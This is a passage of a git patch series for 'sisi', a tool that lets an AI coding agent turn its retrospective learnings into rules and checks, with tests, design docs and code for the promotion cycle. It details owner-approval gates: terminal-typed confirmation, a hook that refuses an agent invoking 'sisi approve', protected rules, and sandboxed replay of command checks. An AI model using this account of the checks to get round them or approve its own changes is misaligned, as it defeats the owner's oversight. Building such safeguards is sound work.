mike november oscar papa quebec romeo sierra tango".split() + for i in range(n): + w = words[i % 20] + str(i) + change = "make the %s importer reject every row with a negative amount, and say in the summary which row it rejected" % w + if long: + change += ", " + "and keep a count of every rejected row by reason in the run summary " * 12 + r = self.retro("--new", "--finding", "the %s importer accepted a negative amount in row %d" % (w, i), + "--cause", "no check covered the %s amount column" % w, "--impact", "correctness", + "--disposition", "promote", "--change", change, "--mechanism", "verification", + "--expect", "negative amounts in %s are caught" % w, "--validate", "run the %s importer on a bad file" % w) + self.assertEqual(r.returncode, 0, r.stderr) + + def test_the_brief_is_small_complete_and_limited_to_eight_learnings(self): + self.many(30, long=True) + text = self.sisi("cycle").stdout + self.assertLessEqual(len(text), 6000, len(text)) + listed = [l for l in text.splitlines() if l.startswith("- L-")] + self.assertLessEqual(len(listed), 8) + self.assertGreaterEqual(len(listed), 2) + self.assertIn("more wait for the next cycle", text) + self.assertNotIn("sisi cycle help", text) + for needle in ("command-check", "contract-requirement", "rule-add", "rule-replace", "library", "risk", "routing", + "benchmark", "reject", "merge", "revise", "revert", + "trivial|isolated|logic|integration|data|critical|release", "general|concurrency", + "Takes effect at once", "Held for the owner", "Refused", "recipe|verifier"): + self.assertIn(needle, text) + self.assertNotRegex(text, r"(?m)^\s*(expect|validate):\s*$") + self.assertNotIn("None", text) + + def test_each_learning_has_its_full_statement_origin_unit_and_commit_flag(self): + self.many(3) + rows = self.rows() + rows[1]["source_unit"] = rows[2]["source_unit"] = "another-unit" + L.save_learnings(rows, "t", touched=rows, via="test") + self.archive_unit("a" * 40, "b" * 40, uid=self.rows()[0]["source_unit"]) + text = self.sisi("cycle").stdout + blocks = text.split("\n- L-")[1:] + self.assertEqual(len(blocks), 3) + r0 = self.rows()[0] + full = r0["proposed"]["description"] + self.assertGreater(len(full), 95) # the old brief cut at 95 + self.assertIn(full, text) + self.assertIn("origin: proj, unit %s, commits recorded: yes" % r0["source_unit"], text) + self.assertIn("commits recorded: no", text) + self.assertIn("expected effect: negative amounts", text) + + def test_the_most_recurrent_come_first_then_the_oldest_and_flagged_always_appear(self): + self.many(12) + rows = self.rows() + by = {r["id"]: r for r in rows} + for n in (9, 10): # L-0010 and L-0011 recurred in two more units + by["L-%04d" % (n + 1)]["provenance"] += [{"unit": "x%d" % k, "project": "p", "kind": "recurrence"} for k in (1, 2)] + rows[11]["flagged_not_working"] = True + L.save_learnings(rows, "t", touched=rows, via="test") + text = self.sisi("cycle").stdout + order = [l.split()[1] for l in text.splitlines() if l.startswith("- L-")] + self.assertEqual(order[0], "L-0012") # flagged leads + self.assertEqual(order[1:3], ["L-0010", "L-0011"]) # most recurrent + self.assertEqual(order[3:6], ["L-0001", "L-0002", "L-0003"]) # then the oldest + self.assertIn("FLAGGED NOT WORKING", text) + + def test_every_example_in_the_brief_is_valid_json_and_names_a_known_kind(self): + from sisi import cycle + text = cycle.format_text("b") + n = 0 + for line in text.splitlines(): + if not line.startswith(" {"): + continue + for part in line.replace(" {", "\n{").splitlines(): + part = part.strip().replace('"revise"|"revert"', '"revise"').replace("{...}", "{}") + d = json.loads(part) + self.assertIn(d["action"], ("promote", "reject", "merge", "revise")) + if d["action"] == "promote": + self.assertIn(d["mechanism_kind"], cycle.MECHANISM_KINDS) + n += 1 + self.assertEqual(n, 11) + + def test_a_cheap_agent_can_write_the_file_from_the_brief_alone(self): + """The examples, filled in with the ids from the brief, check clean.""" + self.git_init() + self.many(4) + text = self.sisi("cycle").stdout + ids = [l.split()[1] for l in text.splitlines() if l.startswith("- L-")] + base_value = text.split('{"base": "', 1)[1].split('"', 1)[0] + acts = [{"action": "promote", "learning": ids[0], "mechanism_kind": "risk", "pattern": "importers/**", "profile": "critical"}, + {"action": "reject", "learning": ids[1], "why": "the importers directory was deleted in the last release"}, + {"action": "promote", "learning": ids[2], "mechanism_kind": "contract-requirement", + "when": "importers/**", "require_kind": "parsing"}] + p = os.path.join(self.tmp, "c.json") + with open(p, "w") as f: + json.dump({"base": base_value, "actions": acts}, f) + r = self.sisi("cycle", "check", p) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(self.sisi("cycle", "apply", p).returncode, 0) diff --git a/tests/test_learning_loop.py b/tests/test_learning_loop.py index 3cfe3b7..7e0fc4b 100644 --- a/tests/test_learning_loop.py +++ b/tests/test_learning_loop.py @@ -120,7 +120,7 @@ class Base(SisiCase): "--mechanism", "verification", "--expect", "the %s case is caught" % word, "--validate", "run the %s fixture" % word) self.assertEqual(r.returncode, 0, r.stderr) - return "L-%04d" % (n + 1) + return self.rows()[-1]["id"] def set_config(self, cfg): os.makedirs(self.data, exist_ok=True) @@ -763,7 +763,7 @@ class Mechanisms(Base): bad = [{"action": "promote", "learning": "L-0002", "mechanism_kind": "risk", "pattern": "y/**", "profile": "logic"}] self.assertNotEqual(self.apply(bad).returncode, 0) - good = [{"action": "reject", "learning": "L-0001", "why": "wrong idea"}] + good = [{"action": "reject", "learning": "L-0001", "why": "the f.txt content check was replaced by a type check"}] self.assertEqual(self.apply(good).returncode, 0) self.assertEqual(self.rows()[0]["status"], "rejected") From 08d6921fcb41cf67300628dd92fbb111b9487218 Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 14:42:27 -0700 Subject: [PATCH 5/8] Docs and help for the hardened cycle; library entries linted at check; due counts what arrived since the last cycle; brief trimmed to fit 4+ learnings. done / next: fail-before proof, repeat runs, rehearsal Co-Authored-By: Claude Sonnet 5.5 --- docs/design.md | 27 +++++++----- docs/learning.md | 78 +++++++++++++++++++++++------------ sisi/cycle.py | 57 ++++++++++++++++++++----- sisi/helptext.py | 4 +- sisi/overlay.py | 23 +++++++++++ tests/test_cycle_hardening.py | 65 +++++++++++++++++++++++++++++ 6 files changed, 204 insertions(+), 50 deletions(-) diff --git a/docs/design.md b/docs/design.md index 38990f2..2f60d5e 100644 --- a/docs/design.md +++ b/docs/design.md @@ -233,22 +233,27 @@ Learnings recorded by a subagent are held as candidates until the parent's retro `sisi learn --withdraw` takes an owner statement recorded by mistake out of delivery while keeping it in history. -**Promotion** is the cycle, due by a counter. A cycle turns proposed learnings into -mechanisms in the user store: an enforced contract requirement, an enforced command check, a -library entry, a risk-table or routing adjustment, a benchmark case, or rule text. Changes to -sisi's own code are `tool` learnings: they go to the backlog and the contribution export. +**Promotion** is the cycle, due by a counter (what a cycle can act on, arrived since the last one). `sisi cycle` +prints a brief a cheap agent can act on alone (format with an example per action, every value, what happens to +each kind of action, at most eight learnings, at most 6,000 characters). A cycle turns proposed learnings into +mechanisms in the user store: an enforced contract requirement, an enforced command check, a library entry, a +risk-table or routing adjustment, a benchmark case, a sentence added to a rule (`rule-add`) or a whole rule +(`rule-replace`, the owner's). Changes to sisi's own code are `tool` learnings: status `backlog`, never in a +brief, they go to the contribution export. `sisi cycle check` runs nothing and lists every problem at once; `sisi cycle apply`: -- **validates before promoting**. A command check is replayed on the commits of the unit it - came from where they are known (must fail before the fix, pass after). What cannot be - replayed is promoted as `unvalidated` and reported as such; it is never called validated. +- **validates before promoting**. A command check is replayed only between the two commits of the learning's + own record (its unit's start and closing commits), in an exported copy of each tree with no history and a + reduced environment, and must name a path the fix changed. It must fail before the fix and pass after. What + cannot be replayed is `unvalidated`, waits for the owner and is reported as such; it is never called validated. - **commits** each change to the user store; revert is exact, as now. - **refuses** to touch protected rules (`canon/protected.json`: the non-negotiable constraints, verification before done, truthful reporting, this governance). Disabling a - rule, widening a scope to everything, or adding a command that runs in every project is - consequential: it is stored as pending and takes effect only after the owner's decision - (`sisi approve ID --yes|--no`, asked through the host's question dialog). `sisi approve` - refuses a decision made without a terminal unless a config setting allows relayed approval. + rule, replacing a whole rule, widening a scope to everything, or adding a command that runs in every + project is consequential: it is stored as pending (the learning is `pending-approval`) and takes effect + only after the owner's decision (`sisi approve ID --yes|--no`, asked through the host's question dialog). + `sisi approve` needs the word it prints typed at the controlling terminal, and the before-tool hook refuses an + agent's shell command that invokes it. - **must act on flagged learnings**: see monitoring. **Monitoring.** A recurrence after promotion counts against the learning. Two recurrences flag diff --git a/docs/learning.md b/docs/learning.md index f49a58c..9427503 100644 --- a/docs/learning.md +++ b/docs/learning.md @@ -14,8 +14,9 @@ A learning record carries: id, title, source unit, observation (evidence and imp root cause, the proposed change (description, mechanism type, scope, target), expected effect, validation (method, benchmark, result), status, version, provenance (every unit and project it was seen in) and confidence. Status moves through `observed`, `analyzed`, -`proposed`, `implemented`, `validated`, `promoted`, `monitored`, and may end `revised`, -`reverted` or `rejected`. Showings are never recorded: being printed is not evidence. +`proposed`, `pending-approval` (a decision waits for the owner), `backlog` (a change to sisi +itself), `implemented`, `validated`, `promoted`, `monitored`, and may end `revised`, `reverted`, +`rejected` or `merged` (into another learning). Showings are never recorded: being printed is not evidence. ## The retro @@ -73,15 +74,25 @@ commit as the row; a row added by hand, or edited by hand, has no matching entry ## The cycle -Promotion is the cycle, due by a counter checked during normal use (no scheduler): -`sisi cycle` prints the brief for a cheap worker, which writes one JSON cycle file -(`sisi cycle help` is the format). Mechanism kinds a cycle can install in the user -store: an enforced contract requirement, an enforced command check (both in -`overlay/enforced.json`), a library entry (recipe or verifier), rule text, a risk-table -adjustment (`overlay/risk-adjustments.json`), a routing adjustment -(`overlay/routing-adjustments.json`), or a benchmark case -(`overlay/benchmarks/.json`). `tool` learnings — changes to sisi's own code — are -refused by the cycle; they go to the tool list shown in the learning report and to the contribution export. +Promotion is the cycle, due by a counter checked during normal use (no scheduler): five learnings a cycle +can act on arrived since the last cycle, or, fourteen days after it, five still waiting. `sisi cycle` prints +the brief for a cheap worker that has nothing else to read: the complete file format with one filled example +per action, every enumerated value, what happens to each kind of action (takes effect, held for the owner, +refused), and at most eight learnings (flagged first, then the most recurrent, then the oldest), each with its +statement, origin project, source unit and whether commits are recorded, in at most 6,000 characters; what does +not fit waits for the next cycle. The worker writes one JSON cycle file. `sisi cycle check FILE` runs nothing +and lists every problem in the file at once, each with how to fix it; `sisi cycle apply FILE` prints what took +effect, what waits and what was refused in at most fifteen lines. Mechanism kinds a cycle can install in the +user store: an enforced contract requirement (`when` is a risk profile or a path glob: something the code +evaluates), an enforced command check (both in `overlay/enforced.json`), a library entry (recipe or verifier; +it is linted when the file is checked), `rule-add` (one or two sentences added to a named rule before its +`Why:`, naming what the addition shortens or saying nothing can be; the applied message prints the loaded +rulebook size before and after), `rule-replace` (the whole rule; always the owner's), a risk-table adjustment +(`overlay/risk-adjustments.json`), a routing adjustment (`overlay/routing-adjustments.json`), or a benchmark case +(`overlay/benchmarks/.json`). A learning that should not be promoted is `reject`ed with a specific reason +(a generic one is refused) or `merge`d into the learning it repeats. `tool` learnings are never in a brief or in +"due": they have the status `backlog` from the moment they are recorded and go to the tool list in the learning +report and to the contribution export (`sisi promote --export`). `sisi cycle apply FILE` treats the file as untrusted input and plans everything before writing anything — the budget and every other check run first, and a refusal applies nothing. If applying then fails part-way @@ -91,24 +102,34 @@ the budget and every other check run first, and a refusal applies nothing. If ap the scope the learning has earned (`learning.earned_scope`: its origin project unless it earned more) and the origin project. Enforced checks, risk and routing adjustments are filtered by project when read. A scope or `every_project` flag in the cycle file is a request for more, never the gate. -- **Replay before promotion** (`evaluate.validate_command`, the one replay implementation). A command check - is run in a temporary git worktree at the before-commit and the after-commit, and is `validated` only - if it **ran and failed** before the fix (not exit 126/127, not a timeout, not killed by a signal; its - program, and a script given to an interpreter, must exist at *both* commits) and ran and passed after. - The repository must be the learning's origin project and on the trust list, and `before` must be an - ancestor of `after`; otherwise the result is `unvalidated`, with the reason. A replay that ran and - behaved wrongly refuses the whole cycle. Replay never touches the working tree. +- **Replay before promotion** (`evaluate.validate_command`, the one replay implementation). `check` never + executes anything from the file. `apply` replays a command check only between the two commits the learning's + own record holds (the start and closing commits of the unit it was found in, from the unit record, or the + commits stored with the finding; commits named in the file are ignored), in the learning's origin project, on + the trust list. Each run is in an exported copy of that commit's tree with no `.git` directory (the command + cannot read history), an environment of PATH, HOME (an empty directory) and LANG only, a time limit, and + the copy is deleted afterwards. The command must name a path that differs between the two trees, or it is + refused as vacuous. It is `validated` only if it **ran and failed** at the start (not exit 126/127, not a + timeout, not killed by a signal; its program, and a script given to an interpreter, must exist at *both* + commits) and ran and passed at the end, and `before` is an ancestor of `after`; a learning with no recorded + commits, or any other reason it cannot be shown, leaves it `unvalidated` and waiting for the owner. A replay + that ran and behaved wrongly refuses the whole cycle. Replay never touches the working tree. - **Protected rules** (`canon/protected.json`) cannot be replaced or disabled by a cycle or by `sisi overlay`. If the file cannot be read, no rule can be changed. - **Consequential changes wait for the owner**: more scope than the learning earned; an enforced command not proven by replay (or that would run outside its origin project); a risk pattern that lowers a - profile; any replacement or disabling of a rule; rule text or a library entry from a learning confined to - one project; `sisi overlay replace-rule` and `disable-rule`. They are stored as pending and take effect - only after `sisi approve ID --yes|--no`. + profile; any whole-rule replacement or disabling of a rule; a sentence added to a rule, or a library entry, + from a learning confined to one project; a mechanism for a project that no longer exists on disk; + `sisi overlay replace-rule` and `disable-rule`. They are stored as pending and take effect only after + `sisi approve ID --yes|--no`. While a decision waits, its learning is `pending-approval`; promoting it + again is refused, and so is a second change to a rule that has one waiting. If the owner refuses, the + learning is rejected, not proposed again. - **`sisi approve`** with no arguments lists every waiting change in full: the command, the pattern and - profile, the rule text as a diff, why it needs the owner, and the replay result. A decision made without - a terminal (an agent, a script) is refused unless the user config sets `learning.agent_relayed_approval`; - every decision is recorded in `approvals.jsonl` (when, session, terminal or not, `relayed by an agent`). + profile, the rule text as a diff, why it needs the owner, and the replay result. A decision needs the word + `sisi approve ID --yes|--no` prints typed back at the controlling terminal device (never standard input), and + the before-tool hook refuses any shell command of an agent that invokes it; a process with no controlling + terminal is refused unless the user config sets `learning.agent_relayed_approval`. Every decision, and every + refused attempt, is recorded in `approvals.jsonl` (when, session, terminal or not, `relayed by an agent`). Session start prints one line while a decision is waiting, telling the agent to ask the owner through the host's question dialog and to give him the command to run himself. SECURITY.md says what this does and does not guarantee. @@ -117,13 +138,16 @@ the budget and every other check run first, and a refusal applies nothing. If ap files and learning fields it changed. `sisi cycle revert [ID]` undoes exactly those: statements, findings and recurrences recorded after the cycle survive, and a revert is refused if a later change touched the same file. -- A learning that was validated but waits for the owner has status `validated`; once promoted and a unit in - its scope has closed, or it has recurred, `monitored`. +- A learning that was validated but waits for the owner is `pending-approval` with its validation result kept; + once promoted and a unit in its scope has closed, or it has recurred, `monitored`. +- An origin project is always the main repository's key, never a linked worktree's path; `sisi update` repairs + records and mechanisms written before that (and statuses: tool learnings to `backlog`, learnings with a + decision waiting to `pending-approval`). ## Monitoring A recurrence after promotion counts against the learning (once per unit). Two flag it "not working"; -the next cycle must revise or revert it. `sisi status --learning` prints +the next cycle must revise or revert it. `sisi status --learning` prints only `learning.learning_report()`: per promoted learning the units in its own scope since promotion (read from `units.jsonl` in the user store, one JSON object per line with `id`, `project`, `closed_at`, `risk`; the file may not exist yet, which counts as none), the recurrences, whether it is validated or diff --git a/sisi/cycle.py b/sisi/cycle.py index 2f0fafa..f99f1f4 100644 --- a/sisi/cycle.py +++ b/sisi/cycle.py @@ -43,7 +43,8 @@ import copy, difflib, json, os, re, sys, time from . import documents, evaluate, learning as L, overlay, paths, pdata -DUE_AFTER = 5 # proposed learnings waiting make a cycle due (a counter, checked in normal use) +DUE_AFTER = 5 # new learnings a cycle can act on make a cycle due (a counter, checked in normal use) +DUE_AFTER_DAYS = 14 # or, this long after the last cycle, the ones it left alone MECHANISM_KINDS = ("contract-requirement", "command-check", "library", "rule-add", "rule-replace", "risk", "routing", "benchmark") GLOBAL_KINDS = ("rule-add", "rule-replace", "library") # they change what every project loads: reach is `user` @@ -205,10 +206,43 @@ def proposed(rows=None): and (r.get("proposed") or {}).get("mechanism") != "tool" and L.is_registered(r, ledger)] +def _age_days(ts): + import calendar + try: + return (time.time() - calendar.timegm(time.strptime(ts, "%Y-%m-%dT%H:%M:%SZ"))) / 86400.0 + except (TypeError, ValueError): + return 0.0 + + +def _num(lid): + m = re.match(r"L-(\d+)$", str(lid)) + return int(m.group(1)) if m else 0 + + +def due_count(rows=None): + """How many learnings make a cycle due: those a cycle can act on that arrived since the last + cycle ran (a brief shows only a few, so what it left alone does not make the next cycle due by + itself), or, once the last cycle is DUE_AFTER_DAYS old, everything still waiting. Every + learning waiting is in the next brief, oldest first, whenever it runs.""" + pr = proposed(rows) + done = [r for r in cycle_records() if not r.get("reverted") and r.get("ts")] + if not done: + return len(pr) + lastrec = max(done, key=lambda r: r["ts"]) + last = lastrec["ts"] + if lastrec.get("learning_max"): # ids only grow: what has a higher number arrived after the cycle + new = [r for r in pr if _num(r["id"]) > lastrec["learning_max"]] + else: + new = [r for r in pr if str(r.get("created") or "") > last] + if len(new) < DUE_AFTER and len(pr) >= DUE_AFTER and _age_days(last) >= DUE_AFTER_DAYS: + return len(pr) + return len(new) + + def due_notice(session=None): """Session-start lines: a cycle is due, and/or a decision waits for the owner. The callers (tick, the gate) catch and log a failure; it is not hidden here.""" - n = len(proposed()) + n = due_count() fl = len(L.flagged()) lines = [] if n >= DUE_AFTER or fl: @@ -232,21 +266,22 @@ Actions (L-0000 stands for an id listed below): {"action":"promote","learning":"L-0000","mechanism_kind":"contract-requirement","when":"src/auth/**","require_kind":"parsing"} {"action":"promote","learning":"L-0000","mechanism_kind":"rule-add","rule_id":"deliver-fast","add":"One or two sentences.","shortens":"nothing: "} {"action":"promote","learning":"L-0000","mechanism_kind":"rule-replace","rule_id":"deliver-fast","rule_text":"## Title {#deliver-fast}\\n\\nBody.\\n\\nWhy: ...","shortens":"..."} - {"action":"promote","learning":"L-0000","mechanism_kind":"library","library_kind":"recipe","entry_text":"---\\nid: x\\n---\\n..."} + {"action":"promote","learning":"L-0000","mechanism_kind":"library","library_kind":"recipe","entry_text":"---\\nid: x\\ntitle: T\\napplies_to: when\\n---\\n## Done means\\n- ...\\n## Checks\\n- `verifier-id`\\n## Common false finishes\\n- ..."} {"action":"promote","learning":"L-0000","mechanism_kind":"risk","pattern":"src/auth/**","profile":"critical"} {"action":"promote","learning":"L-0000","mechanism_kind":"routing","kind":"impl","difficulty":2,"prefer":"worker-x"} {"action":"promote","learning":"L-0000","mechanism_kind":"benchmark","name":"csv-import","case":{...}} {"action":"reject","learning":"L-0000","why":"names the evidence: the retry loop in sync.py was already removed"} {"action":"merge","learning":"L-0000","into":"L-9999","why":"same cause"} {"action":"revise"|"revert","learning":"L-0000","why":"..."} Values: mechanism_kind @KINDS@; risk profile @PROFILES@; require_kind @REQKINDS@; - library_kind recipe|verifier; difficulty 1|2|3; when = a risk profile (that or higher) or a path glob. + library_kind recipe|verifier (Checks may cite only ids `sisi verifiers` lists); difficulty 1|2|3; + when = a risk profile (that or higher) or a path glob. A command check: cmd must name a path the fix changed; apply replays it in a copy of the tree without .git, between the commits recorded for the learning (never ones you write): it must fail at the start and pass at the end. No commits: it waits. Takes effect at once: reject, merge, revise, revert; risk (not lowering), routing, benchmark, contract-requirement; a replayed command check; rule-add and library only from a learning seen in 2 units in 2 projects. Held for the owner: rule-replace, disable-rule, rule-add or library from a one-project learning, a command check that was not replayed, risk that lowers a profile, scope beyond what was earned, a project gone from disk. -Refused (whole file, every reason listed): protected rules (@PROTECTED@), a vacuous or failed replay, a generic reject reason, +Refused (whole file, every reason listed): a rule not in the list below (protected), a vacuous or failed replay, a generic reject reason, a learning acted on twice or already waiting, a rule with a change waiting, a rulebook over @BUDGET@, a flagged learning left out. Rules you may change (id): @RULES@. Rulebook now @SIZE@. Adding to it means naming what it shortens, or "nothing: ". """ @@ -288,7 +323,6 @@ def format_text(base): lines, chars = _book_size() return (FORMAT.replace("@BASE@", base).replace("@KINDS@", "|".join(MECHANISM_KINDS)) .replace("@PROFILES@", "|".join(risk.PROFILES)).replace("@REQKINDS@", "|".join(_contract.KINDS)) - .replace("@PROTECTED@", ", ".join(sorted(p for p in prot if p in {r["id"] for r in rules}))) .replace("@BUDGET@", "%d lines/%d characters" % (overlay.MAX_LINES, overlay.MAX_CHARS)) .replace("@RULES@", ids).replace("@SIZE@", "%d lines/%d characters" % (lines, chars))) @@ -432,7 +466,7 @@ def _plan_rule(kind, a, rec, virtual_rules, reasons, n): lid = rec["id"] rid = a.get("rule_id") _need(isinstance(rid, str) and overlay.ID_OK.match(rid), "%s for %s needs \"rule_id\": the id the brief lists" % (kind, lid)) - _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) + _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it. Pick a rule from the brief's list" % rid) in_force = {r["id"]: r for r in overlay.effective()[1]} if kind == "rule-add": _need(rid in in_force or rid in virtual_rules, "no rule %r to add to (the brief lists the ids)" % rid) @@ -530,7 +564,7 @@ def _plan_promote(a, rec, virtual_rules, run=True): _need(eid is None or (isinstance(eid, str) and overlay.ID_OK.match(eid)), "entry_id for %s is not a plain id" % lid) n["entry_id"], n["replacing"] = eid, bool(a.get("replacing")) try: - n["entry_id"], _rel, _mine = overlay._put_entry(n["library_kind"], n["entry_text"], eid, n["replacing"]) + n["entry_id"] = overlay.check_entry(n["library_kind"], n["entry_text"], eid, n["replacing"]) except overlay.OverlayError as e: raise CycleError("library entry for %s: %s" % (lid, e)) if n["replacing"]: @@ -593,7 +627,7 @@ def validate_doc(doc, rows, run=True): rid = a.get("rule_id") who += " (disable-rule %s)" % rid _need(isinstance(rid, str) and rid, "disable-rule needs \"rule_id\"") - _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it" % rid) + _need(rid not in protected_rules(), "rule %r is protected (canon/protected.json); a cycle may not touch it. Pick a rule from the brief's list" % rid) _need(rid in _rule_known(), "no rule %r (the brief lists the ids)" % rid) _need(rid not in wait_r and rid not in ruled, "rule %s already has a change %s; wait for the " "owner's decision" % (rid, "waiting (%s)" % wait_r[rid] if rid in wait_r else "in this file")) @@ -839,7 +873,9 @@ def _transact(label, fn): failure part-way restores every file it changed.""" pdata.ensure() before = _head() - rows_before = {r["id"]: {k: copy.deepcopy(r[k]) for k in CYCLE_FIELDS if k in r} for r in L.load_learnings()} + all_rows = L.load_learnings() + rows_before = {r["id"]: {k: copy.deepcopy(r[k]) for k in CYCLE_FIELDS if k in r} for r in all_rows} + learning_max = max([_num(r["id"]) for r in all_rows] or [0]) try: lines, touched, added = fn() except BaseException: @@ -862,6 +898,7 @@ def _transact(label, fn): cid = "cycle-%04d" % n rec = {"id": cid, "label": label, "ts": L.now(), "before": before, "after": after, "lines": lines, "changed": _changed(before, after) if before and after else [], + "learning_max": learning_max, "rows_before": {i: rows_before[i] for i in touched if i in rows_before}, "pending_added": added} pdata.write_text("cycles/%s.json" % cid, json.dumps(rec, indent=2, sort_keys=True) + "\n") diff --git a/sisi/helptext.py b/sisi/helptext.py index d9df6be..e420f10 100644 --- a/sisi/helptext.py +++ b/sisi/helptext.py @@ -22,8 +22,8 @@ LONG = { 'overlay': ' sisi overlay list|diff|add-rule|replace-rule|disable-rule|enable-rule|add-verifier|...|revert COMMIT\n learned changes to rules, verifiers and recipes; each one a commit in your personal repo', 'retro': " sisi retro print the unit's record and what stands out in it\n sisi retro --finding F --cause C --impact value|correctness|time|cost|attention --disposition promote|record|drop [--same-as ID | --new] [--target ID]\n record one finding; promote also needs --change, --mechanism,\n --expect and --validate; record needs --limits; drop needs --why-not;\n a match in scope is printed and attached as a recurrence (--new records\n a learning of its own); --target names the rule or recipe it concerns\n sisi retro --adopt ID a parent adopts a subagent's candidate learning, by id", 'lessons': ' sisi lessons [--json] | ID the learning records and their statuses; with an id (L-0007): that one learning in full', - 'cycle': ' sisi cycle [due|apply FILE|check FILE|revert [ID]|help]\n turn proposed learnings into mechanisms (no scheduler:\n due-ness is a counter); apply validates and replays before\n promoting; help prints the cycle file format', - 'approve': " sisi approve [ID --yes|--no] list, in full, the consequential changes waiting for the owner; decide one\n (in a terminal: an agent's --yes without one is refused)", + 'cycle': ' sisi cycle [due|apply FILE|check FILE|revert [ID]|help]\n with no argument: the brief (file format, values, at most eight learnings) for the agent that\n turns proposed learnings into mechanisms; check lists every problem in the file and runs\n nothing; apply replays command checks in an exported copy, then applies (no scheduler:\n due-ness is a counter)', + 'approve': " sisi approve [ID --yes|--no] list, in full, the consequential changes waiting for the owner; decide one\n (the owner types the word it prints, at the terminal; an agent's shell command is refused)", 'learn': ' sisi learn [--scope user|project] TEXT\n record an owner statement; it takes effect at once and\n `sisi oracle` prints it. Scope for other learnings is\n earned by evidence, never claimed\n sisi learn --withdraw ID --reason WHY\n take a statement recorded by mistake out of delivery (kept in history)', 'risk': ' sisi risk [--json] risk floor for the working-tree change, with reasons and\n what that profile requires', 'handover': " sisi handover [--all] | done ID --where PATH [--quote FRAGMENT]\n project-scope learnings waiting to be filed in this project's own docs or\n work list; done confirms one is filed (the named file must contain\n its key text) and removes it from the list", diff --git a/sisi/overlay.py b/sisi/overlay.py index 86df633..40b9277 100644 --- a/sisi/overlay.py +++ b/sisi/overlay.py @@ -596,6 +596,29 @@ def _lint_new(rel): raise OverlayError("the file does not pass `sisi verifiers lint`:\n " + "\n ".join(b[len(p) + 2:] for b in bad)) +def check_entry(kind, text, id=None, replacing=False): + """Would put_entry succeed? The same checks, with the overlay put back exactly as it was and + nothing committed: a library entry that cannot pass `sisi verifiers lint` is found when the + cycle file is checked, not when the owner approves it. Returns the entry id.""" + from . import pdata + id, rel, mine = _put_entry(kind, text, id, replacing) + d = lib_dir(kind) + existed = os.path.isdir(d) + with pdata.lock(): + snap = _snapshot(d) + try: + for p in mine: + _remove(p) + _write(rel, text if text.endswith("\n") else text + "\n") + _lint_new(rel) + finally: + _restore(d, snap) + if not existed: + import shutil + shutil.rmtree(d, ignore_errors=True) + return id + + def put_entry(kind, text, id=None, replacing=False): id, rel, mine = _put_entry(kind, text, id, replacing) with _txn("overlay: %s %s %s" % ("replace" if replacing else "add", kind, id)): diff --git a/tests/test_cycle_hardening.py b/tests/test_cycle_hardening.py index 9c7abd8..0149019 100644 --- a/tests/test_cycle_hardening.py +++ b/tests/test_cycle_hardening.py @@ -746,6 +746,28 @@ class Check(Base): self.assertEqual(self.sisi("lessons", "show", "L-0001").stdout, one.stdout) +class Library(Base): + """R-16-7, R-16-9 (items 8 and 9): a library entry that cannot pass lint is found by check, not by the owner.""" + + def test_an_entry_that_fails_lint_is_refused_at_check_and_the_overlay_is_untouched(self): + _contract(self) + self.retro(*PROMOTE[1:]) + act = {"action": "promote", "learning": "L-0001", "mechanism_kind": "library", "library_kind": "recipe", + "entry_id": "my-recipe", "entry_text": "---\nid: my-recipe\n---\n# T\n\nbody\n"} + r = self.sisi("cycle", "check", self.cycle_file([act])) + self.assertEqual(r.returncode, 2) + for frag in ("does not pass `sisi verifiers lint`", "missing or empty 'title'", "'applies_to'", "Done means"): + self.assertIn(frag, r.stderr) + self.assertFalse(self.exists("overlay/done")) + good = ("---\nid: my-recipe\ntitle: My recipe\napplies_to: work on the importer\n---\n\n## Done means\n- It is checked.\n\n" + "## Checks\n- Runs: `check-the-checker` (test-quality), rung 3.\n\n## Common false finishes\n- Not run.\n") + r = self.sisi("cycle", "check", self.cycle_file([dict(act, entry_text=good)])) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertFalse(self.exists("overlay/done")) # check changed nothing + self.assertEqual(self.apply([dict(act, entry_text=good)]).returncode, 0) + self.assertEqual(len(self.pending()), 1) # a one-project learning's library entry waits + + class Brief(Base): """R-11.1-14, R-11.5-4, R-16-10 (item 8): a small model can act on the brief alone.""" @@ -845,3 +867,46 @@ class Brief(Base): r = self.sisi("cycle", "check", p) self.assertEqual(r.returncode, 0, r.stderr) self.assertEqual(self.sisi("cycle", "apply", p).returncode, 0) + + +class DueCounter(Base): + """R-11.5-4, R-14.4-1 (item 4): due is a counter of what arrived since the last cycle, not a nag.""" + + def test_what_a_brief_left_alone_does_not_make_the_next_cycle_due(self): + from sisi import cycle + _contract(self) + self.git_init() + ids = [self.another(n) for n in range(12)] + self.assertIn("cycle is due (12 proposed", cycle.due_notice()) + acts = [{"action": "reject", "learning": i, "why": "the %s importer was deleted in the last release" % i} + for i in ids[:3]] + self.assertEqual(self.apply(acts).returncode, 0) + self.assertEqual(len(cycle.proposed()), 9) # nine are still waiting, all of them in the next brief + self.assertNotIn("cycle is due", cycle.due_notice()) + self.assertIn("L-0004", self.sisi("cycle").stdout) + # five new learnings make it due again; the leftovers ride along in that brief + for n in range(12, 17): + self.another(n) + self.assertIn("cycle is due (5 proposed", cycle.due_notice()) + + def test_the_ones_it_left_alone_come_due_again_after_two_weeks(self): + from sisi import cycle + _contract(self) + self.git_init() + ids = [self.another(n) for n in range(7)] + self.assertEqual(self.apply([{"action": "reject", "learning": ids[0], + "why": "the alpha importer was deleted in the last release"}]).returncode, 0) + self.assertNotIn("cycle is due", cycle.due_notice()) + p = os.path.join(self.data, "cycles", "cycle-0001.json") + with open(p) as f: + rec = json.load(f) + rec["ts"] = "2000-01-01T00:00:00Z" + with open(p, "w") as f: + json.dump(rec, f) + self.assertIn("cycle is due (6 proposed", cycle.due_notice()) + # a cycle that was reverted does not count as having run + rec["ts"] = L.now() + rec["reverted"] = L.now() + with open(p, "w") as f: + json.dump(rec, f) + self.assertIn("cycle is due (6 proposed", cycle.due_notice()) From a11491c985e2575ac3f507278c539a0e5386f441 Mon Sep 17 00:00:00 2001 From: Stephen Waits Date: Mon, 23 Nov 2026 14:49:50 -0700 Subject: [PATCH 6/8] The approve hook refuses decisions, not prose that mentions the command. done / next: repeat runs and the final rehearsal Co-Authored-By: Claude Sonnet 5.5 --- SECURITY.md | 5 +++-- sisi/watch.py | 13 ++++++++++--- 